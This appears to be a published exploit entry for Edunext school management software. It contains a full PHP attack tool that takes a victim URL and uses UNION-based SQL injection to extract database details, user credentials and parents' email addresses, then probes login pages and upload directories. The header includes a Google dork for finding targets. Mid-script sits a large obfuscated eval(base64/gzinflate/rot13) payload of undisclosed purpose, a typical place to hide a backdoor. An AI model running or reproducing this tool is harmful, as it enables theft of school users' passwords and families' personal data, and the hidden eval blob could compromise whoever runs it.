# Exploit Title: Edunext Systems + School Management Software ( Multiple SQL injection ) # Google Dork: inurl:/page.php?PAGE= , inurl:/image-gallery-detail.php?gal_id= , intext:Powered by Edunext Technologies # Date: 2025-03-20 # Exploit Author: Emiliano Febbi # Vendor Homepage: https://edunexttechnologies.com/ # Software Link: https://edunexttechnologies.com/school-management-software.php # Version: 1.0 # Tested on: Windows 10 [code] <?php /* Not Authenticated why an external server manages logins. ---------------------------------------------------------------------------- Edunext Systems are flawed ((Indian School Management CMS)Training Exploit) ---------------------------------------------------------------------------- emilianofebbi.1994 -at- gmail -dot- com Author: Emiliano Febbi nullsite.altervista.org */ echo'<html><head><title>Indian School Management CMS Multiple SQL injection</title><style> body { cursor: crosshair; min-height: 100vh; }</style></head><body> <body bgcolor="#000000"><body text="#00ffff"><body link="#808080"><body vlink="#808080"> <center><form action="'.$SERVER[PHP_SELF].'" method="POST">+ insert victim site +<br> <input type="text" name="victim_url" value="http://www.site.com/"> <td><font color="#ff0000"> or /dir/</font></td><br> <font color="black">..</font> <select name="select_bug" id="???"><option value="one">page.php?PAGE=</option> <option value="two">image-gallery-detail</option><option value="iframe">#IFRAME=method</option></select><font color="red"> #Select bug</font> <br><input type="text" name="num_var" value="2" style="height: 25px;width: 28px"> <font color="red">Page value: EX: 2</font><br> <input type="submit" style="background-color:#00ffff" value="go!"/></form></center></body></html>'; print "<center>"; // Main Server contains alla databases //################ ---------> <---------- ################## eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); //################ ---------> <---------- ################## print "</center>"; //#page.php?PAGE= if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "one")) { $host = $_POST['victim_url']; $num = $_POST['num_var']; $bug = $_POST['select_bug']; //portal Login and General Login $Logins = array("login/login.php", "login/?next="); foreach($Logins as $nullus_Logins) { if (false!==file("$host$nullus_Logins")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Logins'>$nullus_Logins</a></div></center>"; }; print "<center>"; print "<font color='red'>#host:</font> $host<br>"; print "<font color='red'>#DB Version: </font>"; $sperimental = array('<div class="span8 data-table">', '</style>', '<div class="data">'); foreach($sperimental as $sperimentalx) { $getall=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,version(),3,4,5,6,7,8,9,10--"); $getallz=explode("$sperimentalx",$getall); $getallz=explode("</div>",$getallz[1]); var_dump(strip_tags($getallz[0])); print "<br><font color='red'>#DB Name: </font>"; $getalll=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,database(),3,4,5,6,7,8,9,10--"); $getallzz=explode("$sperimentalx",$getalll); $getallzz=explode("</div>",$getallzz[1]); var_dump(strip_tags($getallzz[0])); } //??? $sperimentalz = array('<div class="span8 data-table">', '</style>', '<div class="data">'); foreach($sperimentalz as $sperimentaly) { print "<br><font color='red'>#users:</font><br>"; $get_users=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),3,4,5,6,7,8,9,10%20FROM%20users--"); $usertbl=explode("$sperimentaly",$get_users); $usertbl=explode("</div>",$usertbl[1]); var_dump(strip_tags($usertbl[0])); } //??? #2 $sperimentalzz = array('<div class="span8 data-table">', '</style>', '<div class="data">'); foreach($sperimentalzz as $sperimentalxy) { print "<center>"; print "<br><font color='red'>#E-Mails Founds in database:</font><br>"; $get_users=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(mother_email,+%20%27%3Cbr%20/%3E%27%20+,father_email),3,4,5,6,7,8,9,10%20FROM%20alumni_registration--"); $usertbl=explode("$sperimentalxy",$get_users); $usertbl=explode("</div>",$usertbl[1]); var_dump(strip_tags($usertbl[0])); print "</center>"; } //??? #3 if(file_get_contents("$host". "upload/")) { print "<center><h2>#Lucky Strike</h2>"; $found_DIRt = file_get_contents("$host". "upload/"); print $found_DIRt; print "</center>"; } };;; //#image-gallery-detail if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "two")) { $host = $_POST['victim_url']; $num = $_POST['num_var']; $bug = $_POST['select_bug']; //portal Login and General Login $Loginss = array("login/login.php", "login/?next="); foreach($Loginss as $nullus_Loginss) { if (false!==file("$host$nullus_Loginss")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Loginss'>$nullus_Loginss</a></div></center>"; }; print "<center>"; print "<font color='red'>#host:</font> $host<br>"; print "<font color='red'>#DB Version: </font>"; $sperimental_gall = array('Image Gallery /', '', ''); foreach($sperimental_gall as $sperimental_gallery) { $getallx=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--"); $getallzx=explode("$sperimental_gallery",$getallx); $getallzx=explode("</span>",$getallzx[1]); var_dump(strip_tags($getallzx[0])); //.................OR.................. $getallxb=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--"); $getallzxb=explode("$sperimental_gallery",$getallxb); $getallzxb=explode("</span>",$getallzxb[1]); var_dump(strip_tags($getallzxb[0])); //.................OR.................. $getallxbc=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--"); $getallzxbc=explode("$sperimental_gallery",$getallxbc); $getallzxbc=explode("</p>",$getallzxbc[1]); var_dump(strip_tags($getallzxbc[0])); print "<center><br><font color='red'>#DB Name: </font>"; //#database(); $getallxdb=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--"); $getallzxdb=explode("$sperimental_gallery",$getallxdb); $getallzxdb=explode("</span>",$getallzxdb[1]); var_dump(strip_tags($getallzxdb[0])); $getallxdbc=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--"); $getallzxdbc=explode("$sperimental_gallery",$getallxdbc); $getallzxdbc=explode("</span>",$getallzxdbc[1]); var_dump(strip_tags($getallzxdbc[0])); $getallxdbcd=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--"); $getallzxdbcd=explode("$sperimental_gallery",$getallxdbcd); $getallzxdbcd=explode("</p>",$getallzxdbcd[1]); var_dump(strip_tags($getallzxdbcd[0])); print "</center>"; } //beyond //Variant 1# $sperimental_gallv = array('Image Gallery /', '', ''); foreach($sperimental_gallv as $sperimental_galleryvv) { print "<center><br><font color='red'>#users:<br></font>"; $getallxk=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--"); $getallzxk=explode("$sperimental_galleryvv",$getallxk); $getallzxk=explode("</span>",$getallzxk[1]); var_dump(strip_tags($getallzxk[0])); print "</center>"; //Variant 2# $getallxdbcww=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--"); $getallzxdbcww=explode("$sperimental_galleryvv",$getallxdbcww); $getallzxdbcww=explode("</div>",$getallzxdbcww[1]); var_dump(strip_tags($getallzxdbcww[0])); //Variant 3# print "<center>"; $getallxdbcwwxx=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--"); $getallzxdbcwwxx=explode("$sperimental_galleryvv",$getallxdbcwwxx); $getallzxdbcwwxx=explode("</p>",$getallzxdbcwwxx[1]); var_dump(strip_tags($getallzxdbcwwxx[0])); print "</center>"; } //#Dir trav. if(file_get_contents("$host". "upload/")) { print "<center><h2>#Lucky Strike</h2>"; $found_DIRt = file_get_contents("$host". "upload/"); print $found_DIRt; print "</center>"; } };;;; //#IFRAME method=100% success //--IF you usage this method select well value page or try random value-- if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "iframe")) { $host = $_POST['victim_url']; $num = $_POST['num_var']; $bug = $_POST['select_bug']; print "<center>"; //portal Login and General Login $Loginssx = array("login/login.php", "login/?next="); foreach($Loginssx as $nullus_Loginssx) { if (false!==file("$host$nullus_Loginssx")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Loginssx'>$nullus_Loginssx</a></div></center>"; }; print "<br><TABLE borderColor=aqua cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>"; print "page.php?PAGE=<br>"; print "<font color='red'>#DB Version ~ #DB Name:<br></font>"; print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%20database(),version(),3,4,5,6,7,8,9,10--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#users:<br></font>"; print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),3,4,5,6,7,8,9,10%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#E-mails:<br></font>"; print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(mother_email,+%20%27%3Cbr%20/%3E%27%20+,father_email),3,4,5,6,7,8,9,10%20FROM%20alumni_registration--' style='border:3px solid aqua;'></iframe><br>"; print "</td></tr><table>"; //#Variant 1 print "<TABLE borderColor=aqua cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>"; print "Image-Gallery-Detail.php?gal_id=<br>"; print "<font color='red'>#DB Version:<br>:</font>"; print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#DB Name:<br>:</font>"; print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#users:<br>:</font>"; print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>"; print "</td></tr><table>"; //#Variant 2 print "<TABLE borderColor=aqua cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>"; print "image-gallery-detail.php?gal_id=<br>"; print "<font color='red'>#DB Version:<br>:</font>"; print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#DB Name:<br>:</font>"; print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--' style='border:3px solid aqua;'></iframe><br>"; print "<font color='red'>#users:<br>:</font>"; print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>"; print "</td></tr><table>"; print "</center>"; };;;;; ?> [/code]